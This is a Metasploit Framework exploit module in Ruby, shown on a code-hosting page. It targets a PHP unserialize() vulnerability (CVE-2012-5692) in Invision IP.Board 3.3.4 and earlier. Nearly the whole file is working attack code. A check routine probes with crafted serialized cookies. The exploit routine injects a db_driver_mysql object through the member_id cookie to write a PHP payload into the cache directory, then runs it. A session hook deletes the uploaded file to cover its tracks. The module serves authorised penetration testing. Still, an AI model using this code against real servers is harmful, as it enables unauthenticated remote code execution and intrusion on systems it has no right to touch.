Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/webapp/invision_pboard_unserialize_exec.rb
19715 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::PhpEXE
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Invision IP.Board unserialize() PHP Code Execution',
17
'Description' => %q{
18
This module exploits a php unserialize() vulnerability in Invision IP.Board
19
<= 3.3.4 which could be abused to allow unauthenticated users to execute arbitrary
20
code under the context of the webserver user.
21
22
The dangerous unserialize() exists in the '/admin/sources/base/core.php' script,
23
which is called with user controlled data from the cookie. The exploit abuses the
24
__destruct() method from the dbMain class to write arbitrary PHP code to a file on
25
the Invision IP.Board web directory.
26
27
The exploit has been tested successfully on Invision IP.Board 3.3.4.
28
},
29
'Author' => [
30
'EgiX', # Vulnerability discovery, PoC, work on check() and cookie_prefix() methods
31
'juan vazquez', # Metasploit module
32
'sinn3r' # PhpEXE tekniq & check() method
33
],
34
'License' => MSF_LICENSE,
35
'References' => [
36
[ 'CVE', '2012-5692' ],
37
[ 'OSVDB', '86702' ],
38
[ 'BID', '56288' ],
39
[ 'EDB', '22398' ],
40
[ 'URL', 'http://community.invisionpower.com/topic/371625-ipboard-31x-32x-and-33x-critical-security-update/' ]
41
],
42
'Privileged' => false,
43
'Platform' => ['php'],
44
'Arch' => ARCH_PHP,
45
'Payload' => {
46
'Space' => 8000, # Apache's limit for GET
47
'DisableNops' => true
48
},
49
'Targets' => [ ['Invision IP.Board 3.3.4', {}] ],
50
'DefaultTarget' => 0,
51
'DisclosureDate' => '2012-10-25',
52
'Compat' => {
53
'Meterpreter' => {
54
'Commands' => %w[
55
stdapi_fs_delete_file
56
]
57
}
58
},
59
'Notes' => {
60
'Reliability' => UNKNOWN_RELIABILITY,
61
'Stability' => UNKNOWN_STABILITY,
62
'SideEffects' => UNKNOWN_SIDE_EFFECTS
63
}
64
)
65
)
66
67
register_options(
68
[
69
OptString.new('TARGETURI', [ true, "The base path to the web application", "/forums/"])
70
]
71
)
72
73
self.needs_cleanup = true
74
end
75
76
def base
77
base = target_uri.path
78
base << '/' if base[-1, 1] != '/'
79
return base
80
end
81
82
def cookie_prefix
83
print_status("Checking for cookie prefix")
84
cookie_prefix = ""
85
res = send_request_cgi(
86
{
87
'uri' => "#{base}index.php",
88
'method' => 'GET'
89
}
90
)
91
92
if res and res.code == 200 and res.get_cookies =~ /(.+)session/
93
print_status("Cookie prefix #{$1} found")
94
cookie_prefix = $1
95
end
96
return cookie_prefix
97
end
98
99
def check
100
check_str = Rex::Text.uri_encode('a:1:{i:0;O:1:"x":0:{}}')
101
res = send_request_cgi(
102
{
103
'uri' => "#{base}index.php",
104
'method' => 'GET',
105
'cookie' => "#{cookie_prefix}session_id=#{check_str}"
106
}
107
)
108
109
if res and res.code == 500 or res.body =~ /PHP_Incomplete_Class/
110
return Exploit::CheckCode::Vulnerable
111
elsif res and res.code == 200
112
return Exploit::CheckCode::Safe
113
else
114
return Exploit::CheckCode::Unknown
115
end
116
end
117
118
def on_new_session(client)
119
if client.type == "meterpreter"
120
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
121
begin
122
print_warning("Deleting #{@upload_php}")
123
client.fs.file.rm(@upload_php)
124
print_good("#{@upload_php} removed to stay ninja")
125
rescue
126
print_error("Unable to remove #{f}")
127
end
128
end
129
end
130
131
def exploit
132
@upload_php = rand_text_alpha(rand(4) + 4) + ".php"
133
134
# get_write_exec_payload uses a function, which limits our ability to support
135
# Linux payloads, because that requires a space:
136
# function my_cmd
137
# becomes:
138
# functionmy_cmd #Causes parsing error
139
# We'll have to address that in the mixin, and then come back to this module
140
# again later.
141
php_payload = get_write_exec_payload(:unlink_self => true)
142
php_payload = php_payload.gsub(/^\<\?php/, '<?')
143
php_payload = php_payload.gsub(/ /, '')
144
145
db_driver_mysql = "a:1:{i:0;O:15:\"db_driver_mysql\":1:{s:3:\"obj\";a:2:{s:13:\"use_debug_log\";i:1;s:9:\"debug_log\";s:#{"cache/#{@upload_php}".length}:\"cache/#{@upload_php}\";}}}"
146
147
print_status("Exploiting the unserialize() to upload PHP code")
148
149
res = send_request_cgi(
150
{
151
'uri' => "#{base}index.php?#{php_payload}",
152
'method' => 'GET',
153
'cookie' => "#{cookie_prefix}member_id=#{Rex::Text.uri_encode(db_driver_mysql)}"
154
}
155
)
156
157
if not res or res.code != 200
158
print_error("Exploit failed: #{res.code}")
159
return
160
end
161
162
print_status("Executing the payload #{@upload_php}")
163
164
res = send_request_raw({ 'uri' => "#{base}cache/#{@upload_php}" })
165
166
if res
167
print_error("Payload execution failed: #{res.code}")
168
return
169
end
170
end
171
end
172
173